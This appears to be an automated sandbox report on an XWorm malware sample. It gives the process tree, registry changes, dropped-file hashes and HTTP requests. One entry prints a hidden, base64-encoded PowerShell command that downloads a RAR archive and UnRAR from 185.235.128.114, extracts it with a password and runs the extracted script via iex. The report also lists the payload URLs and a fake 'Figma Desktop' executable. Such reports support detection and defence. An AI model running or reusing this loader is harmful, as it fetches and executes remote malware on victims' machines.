AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAoqKi//39/f/7+/r/+/v6//v6+v/7+vr/+vr5//r6+f/7+vn/ +vn5//n6+f/6+fj/+fj4//r5+P/8/Pz/pqam/4yMjP+MjIz/jIyM/4yMjP+TkpH/AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACjo6P//f39/7Ozs/+zs7P/s7Oz/7Ozs/+zs7P/s7Oz/7Ozs/+z s7P/s7Oz/7Ozs/+zs7P/s7Oz//z8/P+mpqb/7e3t/+vr6//o6Oj/3d3d/5WVlPkAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAKSko//+/f3/+/v7//v7+v/7+/r/+/r6//v6+v/6+vn/+/r5//r5 +f/6+vn/+vn4//n4+P/6+fj//Pz8/6ampv/x8fH/7+/v/+Pj4/+ampn8HBwcMAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAApaSk//39/f/7+/v/+/v6//v7+v/7+vr/+/r6//r6+f/7+vn/+vn5 //r6+f/6+fj/+fj4//r5+P/8/Pz/pqam//T09P/p6ej/nZyb/BwcHDAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAClpaX//f39//39/f/9/f3//f39//39/f/9/f3//f38//39/P/9/Pz/ /P38//38/P/8/Pz//fz8//7+/v+mpqb/6enp/5+fnvwcHBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAKampv+lpaX/paSk/6Sko/+jo6P/oqKi/6Ghof+hoKD/oKCf/5+fnv+e np7/np2d/52dnP+cnJv/m5ua/5qamf+cm5v5HR0dMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCTT4AAAAA AAAAPgAAACgAAACAAAAAIAAAAAEAAQAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP// //8AAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAA+AAAPwAAAAAAAAAAAAAAAPgAAD8AAAAAAAAA AAAAAAD4AAA/AAAAAAAAAAAAAAAA+AAAPwAAAAAAAAAAAAAAAPgAAD8AAAAAAAAAAAAAAADgAAAP AAAAAAAAAAAAAAAA4AAADwAAAAAAAAAAAAAAAOAAAA8AAAAAAAAAAAAAAADgAAAPAAAAAAAAAAAA AAAA4AAADwAAAAAAAAAAAAAAAOAAAA8AAAAAAAAAAAAAAADgAAAPAAAAAAAAAAAAAAAA4AAADwAA AAAAAAAAAAAAAOAAAA8AAAAAAAAAAAAAAADgAAAPAAAAAAAAAAAAAAAA4AAADwAAAAAAAAAAAAAA AOAAAA8AAAAAAAAAAAAAAADgAAAPAAAAAAAAAAAAAAAA+AAAPwAAAAAAAAAAAAAAAPgAAD8AAAAA AAAAAAAAAAD4AAA/AAAAAAAAAAAAAAAA+AAAPwAAAAAAAAAAAAAAAPgAAD8AAAAAAAAAAAAAAAD4 AAA/AAAAAAAAAAAAAAAA+AAAPwAAAAAAAAAAAAAAAPgAAH8AAAAAAAAAAAAAAAD4AAD/AAAAAAAA AAAAAAAA+AAB/wAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAA
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
173
Monitored processes
36
Malicious processes
6
Suspicious processes
5

Behavior graph

Click at the process to see the details
start mmc.exe powershell.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe unrar.exe no specs conhost.exe no specs csc.exe cvtres.exe no specs cmd.exe no specs powershell.exe acrobat.exe acrobat.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs slui.exe cmd.exe no specs unrar.exe no specs eworvolt.exe eworvolt.exe eworvolt.exe eworvolt.exe no specs eworvolt.exe no specs eworvolt.exe no specs #XWORM regsvcs.exe regsvcs.exe no specs regsvcs.exe no specs mmc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
736"C:\Users\admin\AppData\Local\Temp\eworvolt.exe" C:\Users\admin\AppData\Local\Temp\eworvolt.exe—eworvolt.exe
User:
admin
Company:
Figma, Inc.
Integrity Level:
HIGH
Description:
Figma Desktop
Exit code:
0
Version:
124.3.2
Modules
Images
c:\users\admin\appdata\local\temp\eworvolt.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
c:\windows\syswow64\win32u.dll
872C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe—eworvolt.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft .NET Services Installation Utility
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
1056C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
eworvolt.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft .NET Services Installation Utility
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
1096"C:\WINDOWS\system32\cmd.exe" /C "powershell -ExecutionPolicy Bypass -File C:\Users\admin\AppData\Local\Temp\3plpiex.ps1"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
1852"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -w H -eC aQB3AHIAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEAOAA1AC4AMgAzADUALgAxADIAOAAuADEAMQA0AC8AagBzAC8AMwBwAGwAcABpAGUALgByAGEAcgAiACAALQBPAHUAdABGAGkAbABlACAAIgAkAGUAbgB2ADoAVABFAE0AUABcADMAcABsAHAAaQBlAC4AcgBhAHIAIgA7AGkAdwByACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMwA1AC4AMQAyADgALgAxADEANAAvAGMAcwBzAC8AVQBuAFIAQQBSAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABVAG4AUgBBAFIALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAVQBuAFIAQQBSAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAHgAIgAsACIALQBwAGMAdABrAGEAQQA2AGEAbABXAEcAIgAsACIALQBvACsAIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXAAzAHAAbABwAGkAZQAuAHIAYQByACIALAAiACQAZQBuAHYAOgBUAEUATQBQACIAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADQAOwAgACQAZAByAGUAZgA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBUAEUATQBQACsAIgBcADMAcABsAHAAaQBlAC4AdAB4AHQAIgApADsAIABpAGUAeAAgACQAZAByAGUAZgA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
2268"C:\Users\admin\AppData\Local\Temp\UnRAR.exe" x -pctkaA6alWG -o+ C:\Users\admin\AppData\Local\Temp\3plpie.rar C:\Users\admin\AppData\Local\Temp C:\Users\admin\AppData\Local\Temp\UnRAR.exe—powershell.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
HIGH
Description:
Command line RAR
Exit code:
0
Version:
7.1.0
Modules
Images
c:\users\admin\appdata\local\temp\unrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
2420\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—UnRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3140"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=2860 --field-trial-handle=1628,i,17801735021443599233,5969636671008834022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3896"C:\Users\admin\AppData\Local\Temp\eworvolt.exe" C:\Users\admin\AppData\Local\Temp\eworvolt.exe
powershell.exe
User:
admin
Company:
Figma, Inc.
Integrity Level:
HIGH
Description:
Figma Desktop
Exit code:
0
Version:
124.3.2
Modules
Images
c:\users\admin\appdata\local\temp\eworvolt.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
4068"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\fhaij4td\fhaij4td.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
Total events
41 791
Read events
41 682
Write events
106
Delete events
3

Modification events

(PID) Process:(5156) mmc.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(5156) mmc.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(5156) mmc.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(5156) mmc.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch
Operation:writeName:Version
Value:
WS not running
(PID) Process:(5156) mmc.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main
Operation:writeName:DisableFirstRunCustomize
Value:
1
(PID) Process:(5360) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithProgids
Operation:writeName:Acrobat.Document.DC
Value:
(PID) Process:(7332) Acrobat.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2034283098-2252572593-1072577386-2659511007-3245387615-27016815-3920691934
Operation:writeName:DisplayName
Value:
Adobe Acrobat Reader Protected Mode
(PID) Process:(7428) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ExitSection
Operation:writeName:bLastExitNormal
Value:
0
(PID) Process:(7332) Acrobat.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\Acrobatbrokerserverdispatchercpp789
Operation:delete keyName:(default)
Value:
(PID) Process:(7428) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVEntitlement
Operation:writeName:bSynchronizeOPL
Value:
0
Executable files
62
Suspicious files
183
Text files
26
Unknown types
0

Dropped files

PID
Process
Filename
Type
6620powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H6PNJG8ELAW2X3JSZMTW.tempbinary
MD5:69A73136D2157D67B384C59435255540
SHA256:E4AC67945F668DD81F3E67C116223D67A5860F79DFA8EFA6450B2497BB3538A2
1852powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_hty4ump3.jaf.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6620powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:69A73136D2157D67B384C59435255540
SHA256:E4AC67945F668DD81F3E67C116223D67A5860F79DFA8EFA6450B2497BB3538A2
5640powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_r4c5ro5c.4jp.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5640powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nit3gm0b.c5t.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1852powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pwwfgj33.dt2.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1852powershell.exeC:\Users\admin\AppData\Local\Temp\3plpie.rarcompressed
MD5:E1295A683237ED56A867CDA5B8C0F682
SHA256:985A706D9D8D0F3930E352FC44C40B6C84E464B500B8968B63381A6DC5889A06
4068csc.exeC:\Users\admin\AppData\Local\Temp\fhaij4td\fhaij4td.outtext
MD5:1A91112AC16B3A872BD54E60FC0B5883
SHA256:F88167117B4A3CD6464FE0C8F7B74157B6385A87235194F14FD061460243452A
1852powershell.exeC:\Users\admin\AppData\Local\Temp\fhaij4td\fhaij4td.cmdlinetext
MD5:616B94D38FC037A71C0B5A5E450A7D5B
SHA256:D237CFA35C597C7DE59CEAF7FEA48AD49CF774B9E49BABE9A4542452580C262F
4068csc.exeC:\Users\admin\AppData\Local\Temp\fhaij4td\CSCAB9C136F17604BF492D37251AF8E6BE2.TMPbinary
MD5:9736F1EBB69B6D42AA8F575ED2D30753
SHA256:64B02000F1992FC276BD84A64BD9B1EBD685F457F5C785D2A83BA0BAFBBC130E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
45
TCP/UDP connections
62
DNS requests
20
Threats
21

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5360
powershell.exe
GET
200
185.235.128.114:80
http://185.235.128.114/css/UnRAR.exe
unknown
—
—
unknown
5360
powershell.exe
GET
200
185.235.128.114:80
http://185.235.128.114/css/3.PL_PIEC001-L20250227-GLOBAL_ATOP.pdf
unknown
—
—
unknown
5360
powershell.exe
GET
200
185.235.128.114:80
http://185.235.128.114/fonts/eworvolt.rar
unknown
—
—
unknown
—
—
OPTIONS
204
18.207.85.246:443
https://p13n.adobe.io/psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&adcProductLanguage=en-us&adcVersion=23.1.20093&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=DE&adcXAPIClientID=api_reader_desktop_win_23.1.20093&encodingScheme=